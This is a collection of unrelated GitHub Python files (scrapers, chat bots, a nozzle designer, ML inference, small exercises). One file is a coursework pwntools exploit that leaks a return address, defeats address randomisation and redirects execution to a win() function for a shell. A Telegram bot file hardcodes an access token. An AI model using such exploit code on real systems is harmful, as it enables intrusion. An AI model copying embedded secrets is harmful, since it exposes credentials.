tables=pd.read_html(url)\n mars_fact_df=tables[0]\n\n column_name=[mars_fact_df.iloc[0][x] for x in range(len(mars_fact_df.iloc[0]))]\n mars_fact_df.columns=column_name\n mars_fact_df=mars_fact_df.iloc[1:,:]\n mars_fact_df.to_html('templates/mars_fact_table.html', index=False, classes=\"table table-striped\")\n file = codecs.open(\"templates/mars_fact_table.html\", \"r\", \"utf-8\")\n mars_fact_table=file.read()\n\n # %% [markdown]\n # Mars Hemispheres \n # - Visit the Astrogeology site here to obtain high resolution images for each of Mar's hemispheres.\n # - You will need to click each of the links to the hemispheres in order to find the image url to the full resolution image.\n # - Save both the image url string for the full resolution hemisphere image, and the Hemisphere title containing the hemisphere name. Use a Python dictionary to store the data using the keys img_url and title.\n # - Append the dictionary with the image url string and the hemisphere title to a list. This list will contain one dictionary for each hemisphere.\n\n # %%\n url = 'https://marshemispheres.com/'\n browser.visit(url)\n\n\n # %%\n url_list=[]\n hemisphere_title_list=[]\n\n # HTML object\n html = browser.html\n # Parse HTML with Beautiful Soup\n soup = BeautifulSoup(html, 'html.parser')\n # Retrieve all elements that contain book information\n hemisphere_articles = soup.find_all('div', class_='description')\n\n # Iterate through each book\n for hemisphere_article in hemisphere_articles:\n # Use Beautiful Soup's find() method to navigate and retrieve attributes\n url_string = hemisphere_article.a['href']\n url_list.append(f\"https://marshemispheres.com/{url_string}\")\n title_string= hemisphere_article.a.h3.text\n hemisphere_title_list.append(title_string)\n print('-----------')\n print(title_string)\n print('https://marshemispheres.com/' + url_string)\n\n\n\n # %%\n hemisphere_image_list=[]\n\n for urls in url_list:\n url=urls\n browser.visit(url)\n # HTML object\n html = browser.html\n # Parse HTML with Beautiful Soup\n soup = BeautifulSoup(html, 'html.parser')\n # Retrieve all elements that contain book information\n hemisphere_images = soup.find_all('ul')\n hemisphere_image_list.append(f\"https://marshemispheres.com/{hemisphere_images[0].find('a')['href']}\")\n\n\n # %%\n hemisphere_image_urls = [\n {\"title\": hemisphere_title_list[0], \"img_url\": hemisphere_image_list[0]},\n {\"title\": hemisphere_title_list[1], \"img_url\": hemisphere_image_list[1]},\n {\"title\": hemisphere_title_list[2], \"img_url\": hemisphere_image_list[2]},\n {\"title\": hemisphere_title_list[3], \"img_url\": hemisphere_image_list[3]},\n ]\n\n\n # %%\n browser.quit()\n\n mars_data= {\n \"news_title\":news_title,\n \"news_p\":news_p,\n \"featured_image_url\":featured_image_url,\n \"mars_fact\":mars_fact_table,\n \"hemisphere_image_urls\":hemisphere_image_urls\n }\n\n return mars_data\n\n\n","repo_name":"kevinkurn/web-scraping-challenge","sub_path":"Instructions/Missions_to_Mars/scrape_mars.py","file_name":"scrape_mars.py","file_ext":"py","file_size_in_byte":4580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"36408451924","text":"from pwn import *\n\n# Set CPU context architecture\ncontext.arch = \"amd64\"\n\n# Launch exploit process\np = gdb.debug(\"./lab5-1.bin\") # run exploit against binary locally with process attached to gdb\n#p = process(\"./lab5-1.bin\") # run exploit against binary locally without attacking the process to gdb\n#p = remote(\"csc748.hostbin.org\", 7051) # run the exploit against a remote process\n\nLEAKED_OFFSET = 0x13c7\nWINFUNC_OFFSET = 0x1269\n\n# Send RIP leakage exploit bytes and Read output padding and do nothing with them\np.send(b\"A\"*8 + b\"B\"*8 + b\"C\"*7 + b\"\\n\")\np.recvuntil(\"\\n\")\nprint(\"\\n\")\n\n# Read 6 bytes of RIP fix the last 2 bytes and print\nLEAKED_RIP = p.recv(6) + b\"\\x00\\x00\"\nprint(\"The leaked RIP instruction in hexdump is: \", (hexdump(LEAKED_RIP)))\nprint(\"\\n\")\n\n# Calculate and print the base address of the binary\nLEAKED_RIP = u64(LEAKED_RIP)\nBASE_ADDR = LEAKED_RIP - LEAKED_OFFSET\nprint(\"The leaked RIP instruction in base16 zero padded format: {:016x}\".format(LEAKED_RIP))\nprint(\"\\n\")\nprint(\"The calculated base address of the binary in base16 zero padded format: {:016x})\".format(BASE_ADDR))\nprint(\"\\n\")\n\n# Calculate and print the address of \"win()\" function\nWIN_ADDR = BASE_ADDR + WINFUNC_OFFSET\nprint(\"The calculated address of the 'win()' function in base16 zero padded format: {:016x})\".format(WIN_ADDR))\nprint(\"\\n\")\n\n# Send exploit payload to change RIP to point to \"win()\" function to gain shell\np.send(b\"A\"*8 + b\"B\"*8 + b\"C\"*8 + p64(WIN_ADDR))\n\n# Send a NULL byte to exit the \"read()\" loop and execute the call to \"win()\" function\np.send(b\"\\x00\")\n\n# Swicth to interactive shell after successful exploit\np.interactive()\n","repo_name":"kwafula/CSC-748","sub_path":"Homework-05/lab5-1.py","file_name":"lab5-1.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"19890485354","text":"# PROGRAM: RAO-STYLE THRUST OPTIMIZED BELL NOZZLE DESIGNER\n# FOR LIQUID PROPELLANT ROCKET ENGINES\n#\n# Author: H. A. Güler (arda-guler @ Github)\n\nimport matplotlib.pyplot as plt\nimport math\nimport csv\n\nfrom plot import *\n\ndef get_parabola_point(Nx, Ny, Qx, Qy, Ex, Ey, t):\n x = ((1-t)**2) * Nx + 2*(1-t)*t*Qx + (t**2) * Ex\n y = ((1-t)**2) * Ny + 2*(1-t)*t*Qy + (t**2) * Ey\n\n return x, y\n\ndef compute_bell_geometry(D_throat, D_exit, length_percent=80, theta_ch=30, theta_n=None, theta_e=None, x_fine=None, t_fine=None):\n\n xs = []\n ys = []\n\n if not length_percent:\n length_percent = 80\n\n if not x_fine:\n x_fine = 100\n\n if not t_fine:\n t_fine = 20\n\n if length_percent < 60:\n length_percent = 60\n \n R_throat = D_throat * 0.5\n R_exit = D_exit * 0.5\n expansion_ratio = (R_exit**2) / (R_throat**2)\n\n # theta_n not given, get it from Rao's graph\n if not theta_n:\n if length_percent <= 70:\n if expansion_ratio < 10:\n theta_n = 30\n else:\n theta_n = 35\n\n elif length_percent <= 85:\n if expansion_ratio < 30:\n theta_n = 25\n else:\n theta_n = 30\n\n else:\n if expansion_ratio <= 15:\n theta_n = 20\n else:\n theta_n = 25\n\n # theta_e not given, get it from Rao's graph\n if not theta_e:\n if length_percent <= 70:\n if expansion_ratio < 15:\n theta_e = 20\n else:\n theta_e = 15\n\n elif length_percent <= 85:\n if expansion_ratio < 10:\n theta_e = 15\n elif expansion_ratio < 40:\n theta_e = 10\n else:\n theta_e = 5\n\n else:\n if expansion_ratio < 6:\n theta_e = 10\n else:\n theta_e = 5\n\n # compute where the parabola starts\n # print(\"Parabola start angle:\", theta_n)\n # print(\"Parabola end angle:\", theta_e)\n x_throat = 0\n x_parabola = 0.382*R_throat*math.sin(math.radians(theta_n))\n x_exit = (length_percent/100) * (((expansion_ratio**0.5) - 1) * R_throat)/math.tan(math.radians(15))\n\n Nx = x_parabola\n Ny = R_throat + (R_throat * 0.382) - (((R_throat * 0.382)**2) - (x_parabola**2))**(0.5)\n\n Ex = x_exit\n Ey = R_exit\n\n m1 = math.tan(math.radians(theta_n))\n m2 = math.tan(math.radians(theta_e))\n C1 = Ny - m1*Nx\n C2 = Ey - m2*Ex\n\n Qx = (C2-C1)/(m1-m2)\n Qy = (m1*C2 - m2*C1)/(m1-m2)\n\n x = -math.sin(math.radians(theta_ch)) * (1.5 * R_throat)\n ## x = -R_throat * 1.5 / 2\n throat_dx = (x_parabola - x)/x_fine\n\n # throat downstream and upstream arcs\n while x < x_parabola:\n if x < 0:\n R_arc = R_throat * 1.5\n else:\n R_arc = R_throat * 0.382\n\n xs.append(x)\n ys.append(R_throat + R_arc - ((R_arc**2) - (x**2))**(0.5))\n\n x += throat_dx\n\n # parabola\n t = 0\n dt = 1/t_fine\n\n while t <= 1:\n x, y = get_parabola_point(Nx, Ny, Qx, Qy, Ex, Ey, t)\n xs.append(x)\n ys.append(y)\n t += dt\n\n # if the program somehow skips the very last point, compute it\n if t > 1 and t < 1 + dt:\n t = 1\n x, y = get_parabola_point(Nx, Ny, Qx, Qy, Ex, Ey, t)\n xs.append(x)\n ys.append(y)\n\n return xs, ys\n\n##def design_and_analyze(params):\n## D_throat = params[\"Throat Diameter\"]\n## D_exit = params[\"Exit Diameter\"]\n## length_percent = params[\"% Length to Equivalent Cone (optional)\"]\n## theta_n = params[\"Parabola Start Angle (optional)\"]\n## theta_e = params[\"Exit Angle (optional)\"]\n##\n## x_fine = params[\"Throat Plot Fineness (optional)\"]\n## t_fine = params[\"Parabola Fineness (optional)\"]\n##\n## gamma = params[\"Combustion Gases Gamma (optional)\"]\n## \n## xs, ys = compute_geometry(D_throat, D_exit, length_percent, theta_n, theta_e,\n## x_fine, t_fine)\n##\n## mach_data = None\n##\n## if gamma:\n## try:\n## subsonic_x, subsonic_M, supersonic_x, supersonic_M = calc_mach_num(xs, ys, gamma)\n## mach_data = [subsonic_x, subsonic_M, supersonic_x, supersonic_M]\n## except:\n## print(\"WARNING: Can not calculate Mach profile, likely because the program does some subtractive cancellation. Try reducing fineness.\")\n##\n## plot_all(xs, ys, mach_data)\n## return\n","repo_name":"arda-guler/LETALIS","sub_path":"bell_nozzle.py","file_name":"bell_nozzle.py","file_ext":"py","file_size_in_byte":4451,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"}
+{"seq_id":"34274531409","text":"import re\nfrom listenAndSpeak import speak, get_audio\nfrom dataHandling import Data\nfrom tokenData import API_KEY, PROJECT_TOKEN\n\ndef main():\n running = True\n end_phrase = \"stop\"\n case_scenario = \"\"\n print(\"Program has started\")\n\n # creating an object data to store the data obtained by a particular request.\n data = Data(API_KEY, PROJECT_TOKEN)\n country_list = data.get_list_of_countries()\n\n UPDATE_PATTERNS = {\n re.compile(\"[\\w\\s]+ update [\\w\\s]\"):data.update_data,\n re.compile(\"update [\\w\\s]\"):data.update_data,\n re.compile(\"[\\w\\s]+ update\"):data.update_data\n }\n TOTAL_PATTERNS = {\n re.compile(\"[\\w\\s]+ total [\\w\\s]+ cases\"): data.get_total_cases,\n re.compile(\"[\\w\\s]+ total cases\"): data.get_total_cases,\n re.compile(\"[\\w\\s]+ total [\\w\\s]+ deaths\"): data.get_total_deaths,\n re.compile(\"[\\w\\s]+ total deaths\"): data.get_total_deaths,\n re.compile(\"[\\w\\s]+ total [\\w\\s]+ recovered\"): data.get_total_recovered,\n re.compile(\"[\\w\\s]+ total recovered\"): data.get_total_recovered,\n re.compile(\"[\\w\\s]+ total [\\w\\s]+ recoveries\"): data.get_total_recovered,\n re.compile(\"[\\w\\s]+ total recoveries\"): data.get_total_recovered\n }\n\n COUNTRY_PATTERNS = {\n re.compile(\"[\\w\\s]+ cases [\\w\\s]+\"): lambda country: data.get_country_data(country)['total_cases'],\n re.compile(\"[\\w\\s]+ deaths [\\w\\s]+\"): lambda country: data.get_country_data(country)['total_deaths'],\n # re.compile(\"[\\w\\s]+ recoveries [\\w\\s]+\"): lambda country: data.get_country_data(country)['total_recovered'],\n # re.compile(\"[\\w\\s]+ recovered [\\w\\s]+\"): lambda country: data.get_country_data(country)['total_recovered']\n }\n while running:\n result = None\n print(\"Listening...\")\n user_voice = get_audio()\n print(user_voice)\n for pattern, func in UPDATE_PATTERNS.items():\n if pattern.match(user_voice):\n result = \"Data is being updated. This may take a moment!\"\n data.update_data()\n case_scenario = \"\"\n break\n\n for pattern, func in COUNTRY_PATTERNS.items():\n if pattern.match(user_voice):\n words = set(user_voice.split(\" \"))\n for country in country_list:\n if 'deaths' in words:\n case_scenario = \" have died.\"\n if 'cases' in words:\n case_scenario = \" have been infected.\"\n # if 'recovered' in words:\n # case_scenario = \" have recovered.\"\n if country in words:\n result = func(country)\n break\n\n for pattern, func in TOTAL_PATTERNS.items():\n if pattern.match(user_voice):\n if func == data.get_total_cases:\n case_scenario = \" have been infected.\"\n if func == data.get_total_deaths:\n case_scenario = \" have died.\"\n if func == data.get_total_recovered:\n case_scenario = \" have recovered.\"\n result = func()\n break\n\n if result:\n print(result+case_scenario)\n speak(result+case_scenario)\n if not user_voice.find(end_phrase): #Exit the application when there is a phrase stop.\n running = False\n speak(\"Thank you, have a nice day!\")\n print(\"Thank you, have a nice day!\")\n\nmain()","repo_name":"yashrakeshmishra/Covid19-voice-assistant","sub_path":"launcher.py","file_name":"launcher.py","file_ext":"py","file_size_in_byte":3503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"73122648488","text":"def show_messages(texts):\r\n\tfor text in texts:\r\n\t\tprint(text)\r\n\r\ndef send_messages(texts):\r\n\twhile texts:\r\n\t\tcurrent_text = texts.pop()\r\n\t\tsent_messages.append(current_text)\r\n\r\n\r\n\r\ntext_messages = ['Hi, how are you?',\r\n\t'ttyl',\r\n\t'wru',\r\n\t'This is your grubhub driver',\r\n\t'wtf bro']\r\n\r\nsent_messages = []\r\n\r\nsend_messages(text_messages[:])\r\n\r\nprint(f'These messages were sent: ')\r\nfor text in sent_messages:\r\n\tprint(text)\r\n\r\nprint(f'This is the original list: {text_messages}')\r\nprint(f'This is the new list: {sent_messages}')\r\n\r\n","repo_name":"j14mp/py_Crash_Course","sub_path":"chapter8/exercise8_9.py","file_name":"exercise8_9.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"72228586728","text":"from telegram import ChatAction, ParseMode\nfrom telegram.ext import Updater, CommandHandler, MessageHandler, Filters, ConversationHandler\n# from telegram.ext.dispatcher import run_async\nimport logging\nimport urllib3\nimport os\nimport PIL\n# from lxml.etree import HTML\n# import time\nfrom imagetomp4 import videowriter\n\n\n\nPHOTO = 1\n\n\n# def start(bot, update):\n# update.message.reply_text('hellow')\n#\n# return PHOTO1\n\ndef photo1(bot, update):\n user = update.message.from_user\n chat_id = update.message.chat_id\n image = bot.getFile(update.message.photo[-1].file_id)\n image.download(os.getcwd() + '/download/'+'left_image.jpg')\n update.message.reply_text('hellow!\\ngot first image, please send me another')\n\n return PHOTO\n\ndef photo2(bot, update):\n user = update.message.from_user\n chat_id = update.message.chat_id\n image = bot.getFile(update.message.photo[-1].file_id)\n image.download(os.getcwd() + '/download/'+'right_image.jpg')\n update.message.reply_text('got second image, genarating......')\n left_image= PIL.Image.open(os.getcwd() + '/download/'+'left_image.jpg')\n right_image= PIL.Image.open(os.getcwd() + '/download/'+'right_image.jpg')\n videowriter(left_image, right_image)\n\n bot.sendDocument(chat_id=chat_id, document=open(os.getcwd() + '/list/hibiki.gif', 'rb'))\n\n return ConversationHandler.END\n\ndef cancel(bot, update):\n\n update.message.reply_text('Bye! I hope we can talk again some day.')\n\n return ConversationHandler.END\n\ndef error(bot, update, error):\n logger.warn('Update \"%s\" caused error \"%s\"' % (update, error))\n\n\n\n\ndef main():\n # Create the EventHandler and pass it your bot's token.\n updater = Updater(\"339651962:AAGx5buxhMFSe5oxVKkyox7RSMToU8iuvSU\")\n\n\n # Get the dispatcher to register handlers\n dp = updater.dispatcher\n\n # Add conversation handler with the states GENDER, PHOTO, LOCATION and BIO\n conv_handler = ConversationHandler(\n entry_points=[MessageHandler(Filters.photo, photo1)],\n\n states={\n\n\n # PHOTO1: [MessageHandler(Filters.photo, photo1)],\n\n\n PHOTO: [MessageHandler(Filters.photo, photo2)]\n\n\n\n\n },\n\n fallbacks=[CommandHandler('cancel', cancel)]\n )\n\n dp.add_handler(conv_handler)\n\n\n\n # log all errors\n dp.add_error_handler(error)\n\n # Start the Bot\n updater.start_polling()\n\n # Run the bot until the you presses Ctrl-C or the process receives SIGINT,\n # SIGTERM or SIGABRT. This should be used most of the time, since\n # start_polling() is non-blocking and will stop the bot gracefully.\n updater.idle()\n\nif __name__ == '__main__':\n main()\n","repo_name":"hibikiverniy/telegram-bot","sub_path":"hibiki_bot_2.0.py","file_name":"hibiki_bot_2.0.py","file_ext":"py","file_size_in_byte":2635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"38441782636","text":"def countingSort(Myarr):\r\n \r\n count = [0] * int(max(Myarr)+1)\r\n\r\n for num in Myarr:\r\n count[num] += 1\r\n for i in count:\r\n print(i , end=\" \")\r\n \r\n \r\n \r\nn = int(input())\r\n\r\nmy_val= list(map(int,input().split()))\r\n\r\ncountingSort(my_val)\r\n\r\n\r\n\r\n\r\n","repo_name":"Yash8817/HackerRank-solution","sub_path":"counting-sort.py","file_name":"counting-sort.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"37693489092","text":"class TextAnalysis():\n\n def similarity_score(self, txt1, txt2):\n '''Takes in two texts and computes \n similarity - how many words they have in common '''\n\n if not isinstance(txt1, str) or not isinstance(txt2, str):\n raise TypeError(\"Both inputs must be strings\")\n\n # If both inputs are the exact same return score of 1\n if txt1 == txt2:\n return 1.0\n\n # Tokenizes string inputs to cleaned words and creates \n # a set of unique words found in each input text\n uniq1 = set(self.tokenize(txt1))\n uniq2 = set(self.tokenize(txt2))\n\n return self.jaccard_index(uniq1, uniq2)\n\n\n def remove_punc(self, txt):\n '''Removes any non-space punctuation'''\n punc = '''!()-[]{};:'\"\\,<>./?@#$%^&*_~'''\n for char in txt:\n if char in punc:\n txt = txt.replace(char, \"\")\n return txt\n\n def tokenize(self, txt):\n '''Takes a string as an input, removes punctuation, ensures text\n is lowercase and returns list of words'''\n return self.remove_punc(txt).lower().split()\n\n # Created this as a function to enable ease of choosing a different \n # algorithm to calculate similarity\n def jaccard_index(self, set1, set2):\n '''Takes two sets of unique words and calculates jaccard index score =\n number of unique words found in both sets divided by the total number of\n unique words total'''\n score = float(len(set1.intersection(set2))/len(set1.union(set2)))\n return round(score, 2)\n\n\n","repo_name":"amp5/fetch_rewards_de_exercise","sub_path":"web/process_text.py","file_name":"process_text.py","file_ext":"py","file_size_in_byte":1570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"23725736829","text":"from collections import OrderedDict\nimport os\nimport torch\nimport time\nimport torch.nn.functional as F\nimport torchvision.transforms as transforms\nfrom torch.autograd import Variable\nimport numpy as np\nfrom unet import UNet\nfrom unet import UNetNested\nfrom unet import UNet_SIIS\nfrom PIL import Image\nImage.MAX_IMAGE_PIXELS = 1000000000000000\n\n\ndef infer(model_path, model_name, model):\n\n print('model_name:{}'.format(model_name))\n use_cuda = False\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n if torch.cuda.is_available():\n print('Using GPU for inference')\n use_cuda = True\n checkpoint = torch.load(model_path, map_location=device)\n\n model = model.to(device)\n else:\n print('Using CPU for inference')\n checkpoint = torch.load(model_path, map_location='cpu')\n\n new_state_dict = OrderedDict()\n for k, v in checkpoint['state_dict'].items():\n name = k[7:]\n new_state_dict[name] = v\n # print(k)\n model.load_state_dict(new_state_dict)\n\n # print(checkpoint['state_dict'])\n\n\nclass Inference(object):\n def __init__(self, model_name, model_path, data_path):\n self.model_name = model_name\n self.model_path = model_path\n self.data_path = data_path\n self.data_dict = {}\n self.data_dict = make_data_dict(self.data_path)\n \n\n if self.model_name == 'unet':\n self.model = UNet(3, 2)\n elif self.model == 'unetnested':\n self.model = UNetNested(3, 2)\n elif self.model_name == 'unet_siis':\n self.model = UNet_SIIS(3, 2)\n\n self.use_cuda = False\n self.device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n if torch.cuda.is_available():\n print('Using GPU fro inference')\n self.use_cuda = True\n checkpoint = torch.load(self.model_path, map_location=self.device)\n self.model = self.model.to(self.device)\n self.model.load_state_dict(checkpoint['state_dict'])\n else:\n print('Using CPU for inference')\n checkpoint = torch.load(self.model_path, map_location='cpu')\n self.model.load_state_dict(checkpoint['state_dict'])\n\n self.model.eval()\n\n def _preprocess(self, data):\n preprocessed_data = {}\n for k, v in data.items():\n for file_name, file_content in v.items():\n img = Image.open(file_content)\n img = np.array(img)\n preprocessed_data[k] = img\n return preprocessed_data\n\n def _inference(self, data):\n img = data['input_image']\n data = img\n target_l = 1024\n # device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n data = data.transpose(2, 0, 1)\n if data.max() > 1: data = data / 255\n c, x, y = data.shape\n label = np.zeros((x, y))\n x_num = (x // target_l + 1) if x % target_l else x // target_l\n y_num = (y // target_l + 1) if y % target_l else y // target_l\n for i in range(x_num):\n for j in range(y_num):\n x_s, x_e = i * target_l, (i + 1) * target_l\n y_s, y_e = j * target_l, (j + 1) * target_l\n img = data[:, x_s:x_e, y_s:y_e]\n img = img[np.newaxis, :, :, :].astype(np.float32)\n img = torch.from_numpy(img)\n img = Variable(img.to(self.device))\n out_l = self.model(img)\n out_l = out_l.cpu().data.numpy()\n out_1 = np.argmax(out_1, axis=1)[0]\n label[x_s:x_e, y_s:y_e] = out_l.astype(np.int8)\n\n _label = label.astype(np.int8).tolist()\n _len, __len = len(_label), len(_label[0])\n o_stack = []\n for _ in _label:\n out_s = {\"s\": [], \"e\": []}\n j = 0\n while j < __len:\n if _[j] == 0:\n out_s['s'].append(str(j))\n while j < __len and _[j] == 0:\n j += 1\n out_s[\"e\"].append(str(j))\n j += 1\n o_stack.append(out_s)\n result = {\"result\": o_stack}\n return result\n\n def _postprocess(self, data):\n return data\n\n def inference(self, data):\n pre_start_time = time.time()\n data = self._preprocess(data)\n infer_start_time = time.time()\n pre_time_in_ms = (infer_start_time - pre_start_time) * 1000\n\n data = self._inference(data)\n infer_end_time = time.time()\n\n infer_in_ms = (infer_end_time - infer_start_time) * 1000\n data = self._postprocess(data)\n post_time_in_ms = (time.time() - infer_end_time) * 100\n\n latency_time = str(pre_time_in_ms + infer_in_ms + post_time_in_ms)\n print('latency_time:{}'.format(latency_time))\n return data\n\n\ndef make_data_dict(data_path ):\n data_dict = {}\n temp = {}\n for i, file_list in enumerate(os.listdir(data_path)):\n temp[i] = os.path.join(data_path, file_list)\n data_dict['input_image'] = temp\n return data_dict\n\nif __name__ == \"__main__\":\n data_path = 'D:\\\\CodingFiles\\\\Huawei_Competition\\\\Huawei\\\\huawei_data\\\\val\\\\one_img'\n unetnested_model_path = 'D:/CodingFiles/Huawei_Competition/Test_Files/UNetNested-epoch5/checkpoint-best.pth'\n unet_model_path = 'D:/CodingFiles/Huawei_Competition/Test_Files/11_12_unet/model_best.pth'\n unet2_model_path = 'D:/CodingFiles/Huawei_Competition/Test_Files/11_12_unet/unet_2433_1_adam.pth'\n\n \n\n unet_131 = 'D:\\\\DownloadFiles\\\\Thunder\\\\Huawei_pth\\\\model_epoch5.pth'\n unet_119 = 'D:\\\\DownloadFiles\\\\Thunder\\\\Huawei_pth\\\\checkpoint-best.pth'\n\n unet_nested_model = UNetNested(3, 2)\n unet_model = UNet(3, 2)\n\n # infer(unet_model_path, 'unet', unet_model)\n # infer(unet2_model_path, 'unet', unet_model)\n\n # infer(unet_131, 'unet', unet_model)\n\n # infer(unetnested_model_path, 'unetnested', unet_nested_model)\n\n # data_dict = make_data_dict(data_path)\n # print(data_dict)\n\n infer = Inference('unet', unet2_model_path, data_path)\n print(infer.inference(infer.data_dict))","repo_name":"junwenxiong/HuaweiCloudCup","sub_path":"inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":6140,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"969512295","text":"from parser import Parser\n\n\ndef test_parser():\n p = Parser()\n commands = p.parse('''\n // comment\n\n push constant 7 //comment\n push constant 8\n add\n ''')\n commands = list(commands)\n\n assert len(commands) == 3\n assert commands[1] == [4, 'push', 'constant', 8]\n\n\ndef test_branching_commands():\n p = Parser()\n commands = p.parse('''\n label start\n push constant 0\n if-goto start\n goto end\n label end\n ''')\n commands = list(commands)\n\n assert len(commands) == 5\n\n\ndef test_function():\n p = Parser()\n commands = p.parse(''' // 0\n function fn 0 // 1\n push argument 0 // 2\n push argument 1 // 3\n add // 4\n return // 5\n // 6\n push constant 10 // 7\n push constant 20 // 8\n call fn 2 // 9\n ''')\n commands = list(commands)\n\n assert len(commands) == 8\n assert commands[0] == [1, 'function', 'fn', 0]\n assert commands[7] == [9, 'call', 'fn', 2]\n","repo_name":"cincinnat/nand2tetris","sub_path":"projects/vm-translator/test_parser.py","file_name":"test_parser.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"8394751575","text":"# Documentação\n# https://doc.qt.io/qtforpython-6/index.html\n\nimport sys\nfrom PySide6.QtCore import Slot\nfrom PySide6.QtWidgets import (QApplication, QPushButton ,QWidget, \n QGridLayout, QMainWindow)\n\n@Slot()\ndef slot_example(status_bar):\n def inner():\n status_bar.showMessage(\"O meu slot foi executado\")\n return inner\n\n@Slot()\ndef outro_slot(checked):\n print('Está marcado?', checked)\n\n@Slot()\ndef terceira_slot(action):\n def inner():\n outro_slot(action.isChecked())\n return inner\n\napp = QApplication(sys.argv)\nwindow = QMainWindow()\ncentral_widget = QWidget()\nwindow.setCentralWidget(central_widget)\nwindow.setWindowTitle('Minha janela')\n\nbotao = QPushButton('Texto do botão')\nbotao.setStyleSheet('font-size: 80px;')\n\nbotao2 = QPushButton('Botão 2')\nbotao2.setStyleSheet('font-size: 40px')\n\nbotao3 = QPushButton('Botão 3')\nbotao3.setStyleSheet('font-size: 40px')\n\nlayout = QGridLayout()\ncentral_widget.setLayout(layout)\n\nlayout.addWidget(botao, 1, 1, 1, 1)\nlayout.addWidget(botao2, 1, 2, 1, 1)\nlayout.addWidget(botao3, 3, 1, 1, 2)\n\n# statusBar\nstatus_bar = window.statusBar()\nstatus_bar.showMessage('Mostrar mensagem')\n\n# menuBar\nmenu = window.menuBar()\n\nprimeiro_menu = menu.addMenu('Primeiro menu')\nprimeira_acao = primeiro_menu.addAction('Primeira ação')\nprimeira_acao.triggered.connect(slot_example(status_bar))\n\nsegunda_acao = primeiro_menu.addAction('Segunda ação')\nsegunda_acao.setCheckable(True)\nsegunda_acao.toggled.connect(outro_slot)\nsegunda_acao.hovered.connect(terceira_slot(segunda_acao))\n\nbotao.clicked.connect(terceira_slot(segunda_acao))\n\nwindow.show()\napp.exec()","repo_name":"Thiago-Teofilo/curso_python","sub_path":"python_curso_completo/m07_ui_pyside6/aula343_main_window/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1650,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"29363971339","text":"\"\"\"legolas.py: main driver program for the slack bot.\"\"\"\n\n__author__ = \"Jatin K Malik\"\n__email__ = \"jatinkrmalik@gmail.com\"\n__version__ = \"0.1.1\"\n__status__ = \"Beta version\"\n\nimport os\nimport time\nimport re\nfrom slackclient import SlackClient\nfrom config import BOT_ACCESS_TOKEN\nfrom elves import witchcraft\n\n# instantiate Slack client\nslack_client = SlackClient(BOT_ACCESS_TOKEN)\n# starterbot's user ID in Slack: value is assigned after the bot starts up\nstarterbot_id = None\n\n# constants\nRTM_READ_DELAY = 1 # 1 second delay between reading from RTM\nEXAMPLE_COMMAND = \"do\"\nMENTION_REGEX = \"^<@(|[WU].+?)>(.*)\"\n\ndef parse_bot_commands(slack_events):\n \"\"\"\n Parses a list of events coming from the Slack RTM API to find bot commands.\n If a bot command is found, this function returns a tuple of command and channel.\n If its not found, then this function returns None, None.\n \"\"\"\n for event in slack_events:\n if event[\"type\"] == \"message\" and not \"subtype\" in event:\n user_id, message = parse_direct_mention(event[\"text\"])\n if user_id == starterbot_id:\n return message, event[\"channel\"]\n return None, None\n\ndef parse_direct_mention(message_text):\n \"\"\"\n Finds a direct mention (a mention that is at the beginning) in message text\n and returns the user ID which was mentioned. If there is no direct mention, returns None\n \"\"\"\n matches = re.search(MENTION_REGEX, message_text)\n # the first group contains the username, the second group contains the remaining message\n return (matches.group(1), matches.group(2).strip()) if matches else (None, None)\n\ndef handle_command(command, channel):\n \"\"\"\n Executes bot command if the command is known\n \"\"\"\n # Default response is help text for the user\n default_response = \"Whoops! Not sure what you mean. Try saying something on the lines of *{} url*.\\n\\n*For example:*\\n@Legolas do https://blog.shuttl.com/2018/05/13/working-mothers-how-do-you-make-it-look-so-easy/\".format(EXAMPLE_COMMAND)\n\n # Finds and executes the given command, filling in response\n response = None\n # This is where you start to implement more commands!\n if command.startswith(EXAMPLE_COMMAND):\n urls = re.findall('(?:(?:https?|ftp):\\/\\/)?[\\w/\\-?=%.]+\\.[\\w/\\-?=%.]+',command) # to parse the url in the text.\n if urls:\n print('Found some urls:', urls)\n response = witchcraft(urls[0])\n else:\n response = \"Hey human, I couldn't find any url in your message above.\\nGive me a url to work on, try *@Legolas do *\"\n\n elif command.startswith(\"hi\") or command.startswith(\"hello\") or command.startswith(\"hey\"):\n response = \"Hello human! I am *Legolas, son of Thranduil, the King of the Elves of Northern Mirkwood.* I am here to help you read urls without any annoying popups or ads which I feel is Sauron's plot to drive us crazy.\\n\\nWhenever you need my help, just say _do _ and I will be at your service!\"\n\n # Sends the response back to the channel\n slack_client.api_call(\n \"chat.postMessage\",\n channel=channel,\n text=response or default_response\n )\n\nif __name__ == \"__main__\":\n if slack_client.rtm_connect(with_team_state=False):\n print(\"Legolas is up and running!\")\n # Read bot's user ID by calling Web API method `auth.test`\n starterbot_id = slack_client.api_call(\"auth.test\")[\"user_id\"]\n while True:\n command, channel = parse_bot_commands(slack_client.rtm_read())\n if command:\n print(command, channel)\n handle_command(command, channel)\n time.sleep(RTM_READ_DELAY)\n else:\n print(\"Connection failed. Exception traceback printed 